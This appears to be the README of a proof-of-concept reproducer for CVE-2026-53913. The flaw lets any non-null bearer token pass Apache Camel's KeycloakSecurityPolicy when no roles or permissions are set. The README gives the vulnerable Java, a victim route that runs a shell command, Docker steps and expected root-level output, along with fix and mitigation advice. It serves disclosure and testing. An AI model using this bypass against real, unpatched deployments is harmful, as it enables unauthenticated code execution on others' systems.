## https://sploitus.com/exploit?id=34B0AE85-2F00-5048-B5E7-AE23D71F98E9
# camel-keycloak Fail-Open Authentication Bypass Reproducer (CVE-2026-53913)
This project demonstrates a **fail-open authentication bypass** in Apache Camel's `camel-keycloak` security
policy, tracked as **CVE-2026-53913** โ the most severe issue in the 2026 batch (a pre-authentication bypass that
can lead to unauthenticated RCE).
`KeycloakSecurityPolicy` is applied to a route to require a valid Keycloak token. But the only code that actually
verifies the token (signature / issuer / expiry, and the introspection path) lives inside `validateRoles()` /
`validatePermissions()`, and each of those is invoked **only when the corresponding required-list is non-empty**:
```java
// KeycloakSecurityProcessor.beforeProcess (affected 4.18.2)
String accessToken = getAccessToken(exchange);
if (accessToken == null) {
throw new CamelAuthorizationException("Access token not found in exchange", exchange); // the ONLY guard
}
if (!policy.getRequiredRolesAsList().isEmpty()) {
validateRoles(accessToken, exchange); // token verification happens ONLY here...
}
if (!policy.getRequiredPermissionsAsList().isEmpty()) {
validatePermissions(accessToken, exchange); // ...or here
}
```
`KeycloakSecurityPolicy` defaults `requiredRoles` and `requiredPermissions` to `""`. So in the component's
documented **"Basic Setup"** (apply the policy, don't configure roles/permissions โ the common "just require
authentication" case), the token gets **only a non-null check** and is **never verified**. Any non-null bearer
value โ a garbage string like `x`, or a forged, unsigned JWT โ reaches the protected route. Enabling
`useTokenIntrospection` does not help: that path is gated the same way.
When the protected route forwards to a privileged sink (exec / sql / bean / file), this is an **unauthenticated
remote code execution**. This PoC wires the protected admin route to the `exec` component and shows a forged /
garbage bearer token running a shell command (`CWE-287` / `CWE-306` / `CWE-636`).
Advisory: https://camel.apache.org/security/CVE-2026-53913.html
## Vulnerability Summary
| Property | Value |
|----------|-------|
| **Component** | `camel-keycloak` (security policy) |
| **Affected Class** | `org.apache.camel.component.keycloak.security.KeycloakSecurityProcessor#beforeProcess` (verification gated on non-empty roles/permissions) |
| **CWE** | CWE-287 (Improper Authentication) / CWE-306 (Missing Authentication) / CWE-636 (Not Failing Securely) |
| **Impact** | Pre-authentication bypass; unauthenticated RCE when the protected route forwards to a code-exec sink |
| **Preconditions** | A route protected by `KeycloakSecurityPolicy` with no required roles/permissions (the documented Basic Setup) |
| **Affected Versions** | From 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 (camel-keycloak was introduced in 4.15.0) |
| **Fixed Versions** | 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23738 (PR [apache/camel#23958](https://github.com/apache/camel/pull/23958)) |
| **Credit** | Lidor Ben Shitrit (Novee Security) |
> The fix verifies the token whenever the policy is applied โ independent of whether roles/permissions are
> configured โ and runs any authorization checks only after authentication, so an invalid token is rejected just
> like a missing one.
## Why no Keycloak server is needed
The bypass path never verifies the token, so it never contacts Keycloak. The reproducer configures the policy
with an ordinary (unreachable) server URL/realm/client and simply never reaches the verification code โ exactly
the defect. No Keycloak instance, network, or credentials are involved.
## The victim route
```java
from("platform-http:/admin/run")
.policy(keycloakPolicy) // Basic Setup: no roles/permissions -> token never verified
.setHeader("CamelExecCommandExecutable", constant("/bin/sh"))
.setHeader("CamelExecCommandArgs", constant("-c \"id > /tmp/pwned\""))
.to("exec:sh"); // the privileged admin operation
```
## Repository layout
```
CVE-2026-53913/
โโโ pom.xml # camel-platform-http + camel-keycloak + camel-exec 4.18.2
โโโ Dockerfile
โโโ docker-compose.yml # single self-contained service
โโโ README.md
โโโ src/main/
โโโ java/com/example/
โ โโโ Application.java
โ โโโ KeycloakPolicyConfig.java # KeycloakSecurityPolicy in the Basic Setup (no roles/permissions)
โ โโโ VictimRoute.java # platform-http:/admin/run -> policy -> exec
โ โโโ ExploitController.java # attacker: no token / garbage / forged JWT
โโโ resources/
โโโ application.properties
```
## Prerequisites
- Docker and Docker Compose
- Java 17+ and Maven 3.8+
## Reproduction Steps
```bash
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### Expected output
```
1) No Authorization header
HTTP 500 (rejected)
2) Authorization: Bearer x (garbage โ not a JWT at all)
HTTP 200 (BYPASSED -> admin operation ran)
/tmp/pwned present: true -> uid=0(root) gid=0(root) groups=0(root)
3) Authorization: Bearer
HTTP 200 (BYPASSED -> admin operation ran)
/tmp/pwned present: true -> uid=0(root) gid=0(root) groups=0(root)
>>> PROVEN: with no required roles/permissions, the token is never verified. Any non-null bearer
>>> value (garbage or a forged unsigned JWT) reaches the protected admin operation, while a missing
>>> token is the only thing rejected. Pre-auth bypass -> unauthenticated RCE (id written to /tmp/pwned): true
```
## Recommended Fix
Upgrade to **4.18.3 / 4.21.0** (CAMEL-23738). After upgrading, `KeycloakSecurityPolicy` verifies the presented
token whenever it is applied, even with no roles/permissions configured, so forged/garbage tokens are rejected.
## Mitigation
Until upgrading, do not rely on `KeycloakSecurityPolicy` alone with no roles/permissions. Configure required
roles or permissions (which forces the verification path), and/or place an independent, verified authentication
check in front of any route driving a privileged sink.
## Disclaimer
This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed and
fixed** vulnerability. Do not use it against systems without explicit permission. The injected command is a benign
`id` writing a marker file.